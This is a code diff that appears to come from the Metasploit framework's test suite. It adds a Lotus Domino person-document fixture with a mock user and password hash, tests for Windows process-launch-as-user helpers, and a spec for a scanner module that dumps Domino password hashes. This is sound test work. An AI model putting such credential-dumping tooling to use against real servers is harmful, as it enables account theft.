||||
<input name="$dspMailServer" type="hidden" value="">
|
||||
<input name="$dspMailFile" type="hidden" value="portal/Alln_1.nsf">
|
||||
<input name="$dspCcMailUserName" type="hidden" value="">
|
||||
<input name="$dspMailAddress" type="hidden" value="">
|
||||
<input name="$dspCcMailLocation" type="hidden" value="">
|
||||
<input name="$dspInternetAddress" type="hidden" value="">
|
||||
<input name="$dspMessageStorage" type="hidden" value="1">
|
||||
<input name="$dspEncryptIncomingMail" type="hidden" value="0">
|
||||
<input name="$dspJobTitle" type="hidden" value="">
|
||||
<input name="$dspOfficeStreetAddress" type="hidden" value="">
|
||||
<input name="$dspCompanyName" type="hidden" value="Regionalgas">
|
||||
<input name="$dspOfficeCity" type="hidden" value="">
|
||||
<input name="$dspDepartment" type="hidden" value="">
|
||||
<input name="$dspOfficeState" type="hidden" value="">
|
||||
<input name="$dspEmployeeID" type="hidden" value="">
|
||||
<input name="$dspOfficeZIP" type="hidden" value="">
|
||||
<input name="$dspLocation" type="hidden" value="">
|
||||
<input name="$dspOfficeCountry" type="hidden" value="">
|
||||
<input name="$dspManager" type="hidden" value="">
|
||||
<input name="$dspOfficeNumber" type="hidden" value="">
|
||||
<input name="$dspOfficePhoneNumber" type="hidden" value="">
|
||||
<input name="$dspOfficeFAXPhoneNumber" type="hidden" value="">
|
||||
<input name="$dspCellPhoneNumber" type="hidden" value="">
|
||||
<input name="$dspPhoneNumber_6" type="hidden" value="">
|
||||
<input name="$dspAssistant" type="hidden" value="">
|
||||
<input name="$dspStreetAddress" type="hidden" value="">
|
||||
<input name="$dspCity" type="hidden" value="">
|
||||
<input name="$dspState" type="hidden" value="">
|
||||
<input name="$dspZip" type="hidden" value="">
|
||||
<input name="$dspCountry" type="hidden" value="">
|
||||
<input name="$dspPhoneNumber" type="hidden" value="">
|
||||
<input name="$dspHomeFAXPhoneNumber" type="hidden" value="">
|
||||
<input name="$dspSpouse" type="hidden" value="">
|
||||
<input name="$dspChildren" type="hidden" value="">
|
||||
<input name="$dspPersonalID" type="hidden" value="">
|
||||
<input name="$dspLevel0" type="hidden" value="">
|
||||
<input name="$dspLevel0_1" type="hidden" value="">
|
||||
<input name="$dspLevel0_2" type="hidden" value="">
|
||||
<input name="$dspLevel0_3" type="hidden" value="">
|
||||
<input name="$dspLevel1" type="hidden" value="">
|
||||
<input name="$dspLevel1_1" type="hidden" value="">
|
||||
<input name="$dspLevel1_2" type="hidden" value="">
|
||||
<input name="$dspLevel1_3" type="hidden" value="">
|
||||
<input name="$dspLevel2" type="hidden" value="">
|
||||
<input name="$dspLevel2_1" type="hidden" value="">
|
||||
<input name="$dspLevel2_2" type="hidden" value="">
|
||||
<input name="$dspLevel2_3" type="hidden" value="">
|
||||
<input name="$dspLevel3" type="hidden" value="">
|
||||
<input name="$dspLevel3_1" type="hidden" value="">
|
||||
<input name="$dspLevel3_2" type="hidden" value="">
|
||||
<input name="$dspLevel3_3" type="hidden" value="">
|
||||
<input name="$dspLevel4" type="hidden" value="">
|
||||
<input name="$dspLevel4_1" type="hidden" value="">
|
||||
<input name="$dspLevel4_2" type="hidden" value="">
|
||||
<input name="$dspLevel4_3" type="hidden" value="">
|
||||
<input name="$dspLevel5" type="hidden" value="">
|
||||
<input name="$dspLevel5_1" type="hidden" value="">
|
||||
<input name="$dspLevel5_2" type="hidden" value="">
|
||||
<input name="$dspLevel5_3" type="hidden" value="">
|
||||
<input name="$dspLevel6" type="hidden" value="">
|
||||
<input name="$dspLevel6_1" type="hidden" value="">
|
||||
<input name="$dspLevel6_2" type="hidden" value="">
|
||||
<input name="$dspLevel6_3" type="hidden" value="">
|
||||
<input name="$dspComment" type="hidden" value="">
|
||||
<input name="$dspx400Address" type="hidden" value="">
|
||||
<input name="$dspCalendarDomain" type="hidden" value="">
|
||||
<input name="$dspWebSite" type="hidden" value="">
|
||||
<input name="$dspAltFullNameSort" type="hidden" value="">
|
||||
<input name="$dspCertificate" type="hidden" value="">
|
||||
<input name="$dspUserCertificateDisplay" type="hidden" value="0">
|
||||
<input name="$dspX509Issuers" type="hidden" value="">
|
||||
<input name="$dspPublicKey" type="hidden" value="">
|
||||
<input name="$dspOwner" type="hidden" value="">
|
||||
<input name="$dspClientType" type="hidden" value="">
|
||||
<input name="$dspLocalAdmin" type="hidden" value="">
|
||||
<input name="$dspProfiles" type="hidden" value="">
|
||||
<input name="$dspCheckPassword" type="hidden" value="0">
|
||||
<input name="$dspAvailableForDirSync" type="hidden" value="1">
|
||||
<input name="$dspPasswordChangeInterval" type="hidden" value="0">
|
||||
<input name="$dspNetUserName" type="hidden" value="">
|
||||
<input name="$dspPasswordGracePeriod" type="hidden" value="0">
|
||||
<input name="$dspSametimeServer" type="hidden" value="">
|
||||
<input name="$dspPasswordChangeDate" type="hidden" value="">
|
||||
<input name="$dspPasswordDigest" type="hidden" value="">
|
||||
<input name="$dspDisplayChangeRequest" type="hidden" value="None">
|
||||
<input name="FirstName" type="hidden" value="Bdn">
|
||||
<input name="MiddleInitial" type="hidden" value="">
|
||||
<input name="LastName" type="hidden" value="Alln">
|
||||
<input name="FullName" type="hidden" value="Bdn Alln">
|
||||
<input name="AltFullName" type="hidden" value="">
|
||||
<input name="AltFullNamePdeyuage" type="hidden" value="">
|
||||
<input name="AltFullNamePdeyuageDisplay" type="hidden" value="">
|
||||
<input name="ShortName" type="hidden" value="Bdn Alln">
|
||||
<input name="Title" type="hidden" value="">
|
||||
<input name="Suffix" type="hidden" value="">
|
||||
<input name="HTTPPassword" type="hidden" value="(Da2Bd765Be64aF01b5652ce32eaA283d)">
|
||||
<input name="preferredPdeyuage" type="hidden" value="">
|
||||
<input name="MailSystem" type="hidden" value="1">
|
||||
<input name="MailDomain" type="hidden" value="">
|
||||
<input name="MailServer" type="hidden" value="">
|
||||
<input name="MailFile" type="hidden" value="portal/Alln_1.nsf">
|
||||
<input name="ccMailUserName" type="hidden" value="">
|
||||
<input name="MailAddress" type="hidden" value="">
|
||||
<input name="ccMailLocation" type="hidden" value="">
|
||||
<input name="InternetAddress" type="hidden" value="">
|
||||
<input name="MessageStorage" type="hidden" value="1">
|
||||
<input name="EncryptIncomingMail" type="hidden" value="0">
|
||||
<input name="SametimeServer" type="hidden" value="">
|
||||
<input name="JobTitle" type="hidden" value="">
|
||||
<input name="CompanyName" type="hidden" value="Regionalgas">
|
||||
<input name="Department" type="hidden" value="">
|
||||
<input name="EmployeeID" type="hidden" value="">
|
||||
<input name="Location" type="hidden" value="">
|
||||
<input name="Manager" type="hidden" value="">
|
||||
<input name="OfficePhoneNumber" type="hidden" value="">
|
||||
<input name="OfficeFAXPhoneNumber" type="hidden" value="">
|
||||
<input name="CellPhoneNumber" type="hidden" value="">
|
||||
<input name="PhoneNumber_6" type="hidden" value="">
|
||||
<input name="Assistant" type="hidden" value="">
|
||||
<input name="OfficeStreetAddress" type="hidden" value="">
|
||||
<input name="OfficeCity" type="hidden" value="">
|
||||
<input name="OfficeState" type="hidden" value="">
|
||||
<input name="OfficeZIP" type="hidden" value="">
|
||||
<input name="OfficeCountry" type="hidden" value="">
|
||||
<input name="OfficeNumber" type="hidden" value="">
|
||||
<input name="StreetAddress" type="hidden" value="">
|
||||
<input name="City" type="hidden" value="">
|
||||
<input name="State" type="hidden" value="">
|
||||
<input name="Zip" type="hidden" value="">
|
||||
<input name="Country" type="hidden" value="">
|
||||
<input name="PhoneNumber" type="hidden" value="">
|
||||
<input name="HomeFAXPhoneNumber" type="hidden" value="">
|
||||
<input name="Spouse" type="hidden" value="">
|
||||
<input name="Children" type="hidden" value="">
|
||||
<input name="PersonalID" type="hidden" value="">
|
||||
<input name="Level0" type="hidden" value="">
|
||||
<input name="Level0_1" type="hidden" value="">
|
||||
<input name="Level0_2" type="hidden" value="">
|
||||
<input name="Level0_3" type="hidden" value="">
|
||||
<input name="Level1" type="hidden" value="">
|
||||
<input name="Level1_1" type="hidden" value="">
|
||||
<input name="Level1_2" type="hidden" value="">
|
||||
<input name="Level1_3" type="hidden" value="">
|
||||
<input name="Level2" type="hidden" value="">
|
||||
<input name="Level2_1" type="hidden" value="">
|
||||
<input name="Level2_2" type="hidden" value="">
|
||||
<input name="Level2_3" type="hidden" value="">
|
||||
<input name="Level3" type="hidden" value="">
|
||||
<input name="Level3_1" type="hidden" value="">
|
||||
<input name="Level3_2" type="hidden" value="">
|
||||
<input name="Level3_3" type="hidden" value="">
|
||||
<input name="Level4" type="hidden" value="">
|
||||
<input name="Level4_1" type="hidden" value="">
|
||||
<input name="Level4_2" type="hidden" value="">
|
||||
<input name="Level4_3" type="hidden" value="">
|
||||
<input name="Level5" type="hidden" value="">
|
||||
<input name="Level5_1" type="hidden" value="">
|
||||
<input name="Level5_2" type="hidden" value="">
|
||||
<input name="Level5_3" type="hidden" value="">
|
||||
<input name="Level6" type="hidden" value="">
|
||||
<input name="Level6_1" type="hidden" value="">
|
||||
<input name="Level6_2" type="hidden" value="">
|
||||
<input name="Level6_3" type="hidden" value="">
|
||||
<input name="Comment" type="hidden" value="">
|
||||
<input name="x400Address" type="hidden" value="">
|
||||
<input name="CalendarDomain" type="hidden" value="">
|
||||
<input name="WebSite" type="hidden" value="">
|
||||
<input name="PhotoURL" type="hidden" value="">
|
||||
<input name="AltFullNameSort" type="hidden" value="">
|
||||
<input name="CertificateDisplay" type="hidden" value="0">
|
||||
<input name="Certificate" type="hidden" value="">
|
||||
<input name="ChangeRequest" type="hidden" value="">
|
||||
<input name="UserCertificateDisplay" type="hidden" value="0">
|
||||
<input name="X509Issuers" type="hidden" value="">
|
||||
<input name="PublicKey" type="hidden" value="">
|
||||
<input name="RoamingUser" type="hidden" value="0">
|
||||
<input name="RoamSrvr" type="hidden" value="">
|
||||
<input name="RoamRplSrvrs" type="hidden" value="">
|
||||
<input name="RoamSubdir" type="hidden" value="">
|
||||
<input name="RoamAB" type="hidden" value="">
|
||||
<input name="BkmksFile" type="hidden" value="">
|
||||
<input name="JrnlFile" type="hidden" value="">
|
||||
<input name="RoamExtFiles" type="hidden" value="">
|
||||
<input name="RoamMode" type="hidden" value="">
|
||||
<input name="RoamCleanSetting" type="hidden" value="0">
|
||||
<input name="RoamCleanSettingDsp" type="hidden" value="Do not clean-up">
|
||||
<input name="RoamCleanPer" type="hidden" value="1">
|
||||
<input name="Owner" type="hidden" value="">
|
||||
<input name="LocalAdmin" type="hidden" value="">
|
||||
<input name="AvailableForDirSync" type="hidden" value="1">
|
||||
<input name="LastMod" type="hidden" value="05/11/2017 08:22:13 AM CRM Portal/EUS/GVE">
|
||||
<input name="CheckPassword" type="hidden" value="0">
|
||||
<input name="PasswordChangeInterval" type="hidden" value="0">
|
||||
<input name="PasswordGracePeriod" type="hidden" value="0">
|
||||
<input name="PasswordChangeDate" type="hidden" value="">
|
||||
<input name="PasswordDigest" type="hidden" value="">
|
||||
<input name="HTTPPasswordChangeDate" type="hidden" value="">
|
||||
<input name="HTTPPasswordForceChange" type="hidden" value="1">
|
||||
<input name="DispPolicy" type="hidden" value="">
|
||||
<input name="Policy" type="hidden" value="">
|
||||
<input name="Profiles" type="hidden" value="">
|
||||
<input name="DisplayChangeRequest" type="hidden" value="None">
|
||||
<input name="NetUserName" type="hidden" value="">
|
||||
<input name="LTPA_UsrNm" type="hidden" value="">
|
||||
<input name="DB2UserName" type="hidden" value="">
|
||||
<input name="krbPrincipalName" type="hidden" value="">
|
||||
<input name="ClientType" type="hidden" value="">
|
||||
<input name="ClntMachine" type="hidden" value="">
|
||||
<input name="ClntBld" type="hidden" value="">
|
||||
<input name="ClntPltfrm" type="hidden" value="">
|
||||
<input name="ClntDate" type="hidden" value="">
|
||||
<input name="DocumentAccess" type="hidden" value="[UserModifier]">
|
||||
<input name="tmpNow" type="hidden" value="04/29/2022 04:17 PM CEDT">
|
||||
<input name="$CryptoCap" type="hidden" value="0">
|
||||
<input name="$Person_Main" type="hidden" value="0">
|
||||
<input name="$Person_Detail" type="hidden" value="0">
|
||||
<input name="$Person_Cert" type="hidden" value="0">
|
||||
<input name="$dspTTControl" type="hidden" value="">
|
||||
<input name="ibm_bhMailInfo" type="hidden" value="">
|
||||
<input name="OU" type="hidden" value="">
|
||||
<input name="PostalAddress" type="hidden" value="">
|
||||
<input name="HomePostalAddress" type="hidden" value="">
|
||||
<input name="Street" type="hidden" value="">
|
||||
<input name="businessCategory" type="hidden" value="">
|
||||
<input name="carLicense" type="hidden" value="">
|
||||
<input name="departmentNumber" type="hidden" value="">
|
||||
<input name="employeeNumber" type="hidden" value="">
|
||||
<input name="employeeType" type="hidden" value="">
|
||||
<input name="initials" type="hidden" value="">
|
||||
<input name="labeledURI" type="hidden" value="">
|
||||
<input name="o" type="hidden" value="">
|
||||
<input name="roomNumber" type="hidden" value="">
|
||||
<input name="UserCertificate" type="hidden" value="">
|
||||
@@ -44,6 +44,51 @@ RSpec.describe Msf::Post::Windows::Runas do
|
||||
end
|
||||
|
||||
context "#create_process_with_logon" do
|
||||
before :example do
|
||||
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86)
|
||||
end
|
||||
|
||||
context 'on a 32-bit session' do
|
||||
it 'calls CreateProcessWithLogonW with a lpProcessInformation buffer of 16 bytes' do
|
||||
expect(advapi32).to receive(:CreateProcessWithLogonW).with(
|
||||
'bob',
|
||||
nil,
|
||||
'pass',
|
||||
'LOGON_WITH_PROFILE',
|
||||
nil,
|
||||
'cmd.exe',
|
||||
'CREATE_UNICODE_ENVIRONMENT',
|
||||
nil,
|
||||
nil,
|
||||
subject.startup_info,
|
||||
16
|
||||
)
|
||||
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
|
||||
end
|
||||
end
|
||||
|
||||
context 'on a 64-bit session' do
|
||||
before :example do
|
||||
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64)
|
||||
end
|
||||
it 'calls CreateProcessWithLogonW with a lpProcessInformation buffer of 24 bytes' do
|
||||
expect(advapi32).to receive(:CreateProcessWithLogonW).with(
|
||||
'bob',
|
||||
nil,
|
||||
'pass',
|
||||
'LOGON_WITH_PROFILE',
|
||||
nil,
|
||||
'cmd.exe',
|
||||
'CREATE_UNICODE_ENVIRONMENT',
|
||||
nil,
|
||||
nil,
|
||||
subject.startup_info,
|
||||
24
|
||||
)
|
||||
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
|
||||
end
|
||||
end
|
||||
|
||||
it "should return a process_info hash" do
|
||||
expect(advapi32).to receive(:CreateProcessWithLogonW)
|
||||
expect(kernel32).not_to receive(:CloseHandle)
|
||||
@@ -59,6 +104,52 @@ RSpec.describe Msf::Post::Windows::Runas do
|
||||
end
|
||||
|
||||
context "#create_process_as_user" do
|
||||
before :example do
|
||||
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86)
|
||||
end
|
||||
|
||||
context 'on a 32-bit session' do
|
||||
it 'calls CreateProcessAsUserA with a lpProcessInformation buffer of 16 bytes' do
|
||||
expect(advapi32).to receive(:CreateProcessAsUserA).with(
|
||||
phToken,
|
||||
nil,
|
||||
'cmd.exe',
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
'CREATE_NEW_CONSOLE',
|
||||
nil,
|
||||
nil,
|
||||
subject.startup_info,
|
||||
16
|
||||
)
|
||||
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
|
||||
end
|
||||
end
|
||||
|
||||
context 'on a 64-bit session' do
|
||||
before :example do
|
||||
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64)
|
||||
end
|
||||
|
||||
it 'calls CreateProcessAsUserA with a lpProcessInformation buffer of 24 bytes' do
|
||||
expect(advapi32).to receive(:CreateProcessAsUserA).with(
|
||||
phToken,
|
||||
nil,
|
||||
'cmd.exe',
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
'CREATE_NEW_CONSOLE',
|
||||
nil,
|
||||
nil,
|
||||
subject.startup_info,
|
||||
24
|
||||
)
|
||||
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
|
||||
end
|
||||
end
|
||||
|
||||
it "should return a process_info hash" do
|
||||
expect(advapi32).to receive(:LogonUserA)
|
||||
expect(advapi32).to receive(:CreateProcessAsUserA)
|
||||
@@ -92,22 +183,65 @@ RSpec.describe Msf::Post::Windows::Runas do
|
||||
end
|
||||
|
||||
context "#startup_info" do
|
||||
it "should be 68 bytes" do
|
||||
expect(subject.startup_info.size).to eq(68)
|
||||
context 'on a 32-bit session' do
|
||||
before :example do
|
||||
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86)
|
||||
end
|
||||
|
||||
it "should be 68 bytes" do
|
||||
expect(subject.startup_info.size).to eq(68)
|
||||
end
|
||||
|
||||
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
|
||||
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
|
||||
expect(si[11]).to eq(1)
|
||||
expect(si[12]).to eq(0)
|
||||
end
|
||||
end
|
||||
|
||||
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
|
||||
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
|
||||
expect(si[11]).to eq(1)
|
||||
expect(si[12]).to eq(0)
|
||||
context 'on a 64-bit session' do
|
||||
before :example do
|
||||
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64)
|
||||
end
|
||||
|
||||
it "should be 100 bytes" do
|
||||
expect(subject.startup_info.size).to eq(100)
|
||||
end
|
||||
|
||||
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
|
||||
si = subject.startup_info.unpack('QQQQVVVVVVVVvvQQQQ')
|
||||
expect(si[11]).to eq(1)
|
||||
expect(si[12]).to eq(0)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "#parse_process_information" do
|
||||
it "should return a hash when given valid data" do
|
||||
pi = subject.parse_process_information(process_info)
|
||||
expect(pi).to be_kind_of(Hash)
|
||||
expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||
before :example do
|
||||
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X86)
|
||||
end
|
||||
|
||||
context 'on a 32-bit session' do
|
||||
it "should return a hash when given valid data" do
|
||||
pi = subject.parse_process_information(process_info)
|
||||
expect(pi).to be_kind_of(Hash)
|
||||
expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||
end
|
||||
end
|
||||
|
||||
context 'on a 64-bit session' do
|
||||
let(:process_info) do
|
||||
"\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00"
|
||||
end
|
||||
before :example do
|
||||
allow(subject).to receive_message_chain("session.arch").and_return(ARCH_X64)
|
||||
end
|
||||
|
||||
it "should return a hash when given valid data" do
|
||||
pi = subject.parse_process_information(process_info)
|
||||
expect(pi).to be_kind_of(Hash)
|
||||
expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||
end
|
||||
end
|
||||
|
||||
it "should return an exception when given an empty string" do
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
require 'rspec'
|
||||
|
||||
RSpec.describe 'Lotus Domino Hashes' do
|
||||
include_context 'Msf::Simple::Framework#modules loading'
|
||||
|
||||
let(:subject) do
|
||||
load_and_create_module(
|
||||
module_type: 'auxiliary',
|
||||
reference_name: 'scanner/lotus/lotus_domino_hashes'
|
||||
)
|
||||
end
|
||||
let(:view_id) do
|
||||
Faker::Number.new
|
||||
end
|
||||
let(:cookie) do
|
||||
'mock-cookie'
|
||||
end
|
||||
let(:uri) do
|
||||
'http'
|
||||
end
|
||||
let(:workspace) do
|
||||
FactoryBot.create(:mdm_workspace)
|
||||
end
|
||||
let(:service) do
|
||||
FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace))
|
||||
end
|
||||
let(:result) do
|
||||
instance_double(
|
||||
Rex::Proto::Http::Response,
|
||||
body: mock_doc_data,
|
||||
get_html_document: Nokogiri::XML(mock_doc_data)
|
||||
)
|
||||
end
|
||||
let(:mock_doc_data) do
|
||||
File.binread(mock_doc)
|
||||
end
|
||||
let(:mock_doc) do
|
||||
File.join(FILE_FIXTURES_PATH, 'modules', 'auxiliary', 'lotus_domino_hash_response.xml')
|
||||
end
|
||||
|
||||
before do
|
||||
allow(subject).to receive(:send_request_raw).and_return(result)
|
||||
allow(subject).to receive(:report_service).and_return(service)
|
||||
allow(subject).to receive(:report_auth_info)
|
||||
end
|
||||
|
||||
describe '#dump_hashes' do
|
||||
context 'when the service response contains credentials' do
|
||||
it 'reports the extracted user and password' do
|
||||
subject.dump_hashes(view_id, cookie, uri)
|
||||
expect(subject).to have_received(:report_auth_info).with(hash_including({ user: 'Bdn Alln', pass: '(Da2Bd765Be64aF01b5652ce32eaA283d)', proof: a_string_matching(/USER_MAIL=NULL/) }))
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the service response does not contain credentials' do
|
||||
let(:mock_doc) do
|
||||
File.join(FILE_FIXTURES_PATH, 'modules', 'auxiliary', 'lotus_domino_hash_response_no_cred.xml')
|
||||
end
|
||||
it 'when provided valid XML missing a credential' do
|
||||
subject.dump_hashes(view_id, cookie, uri)
|
||||
expect(subject).not_to have_received(:report_auth_info)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user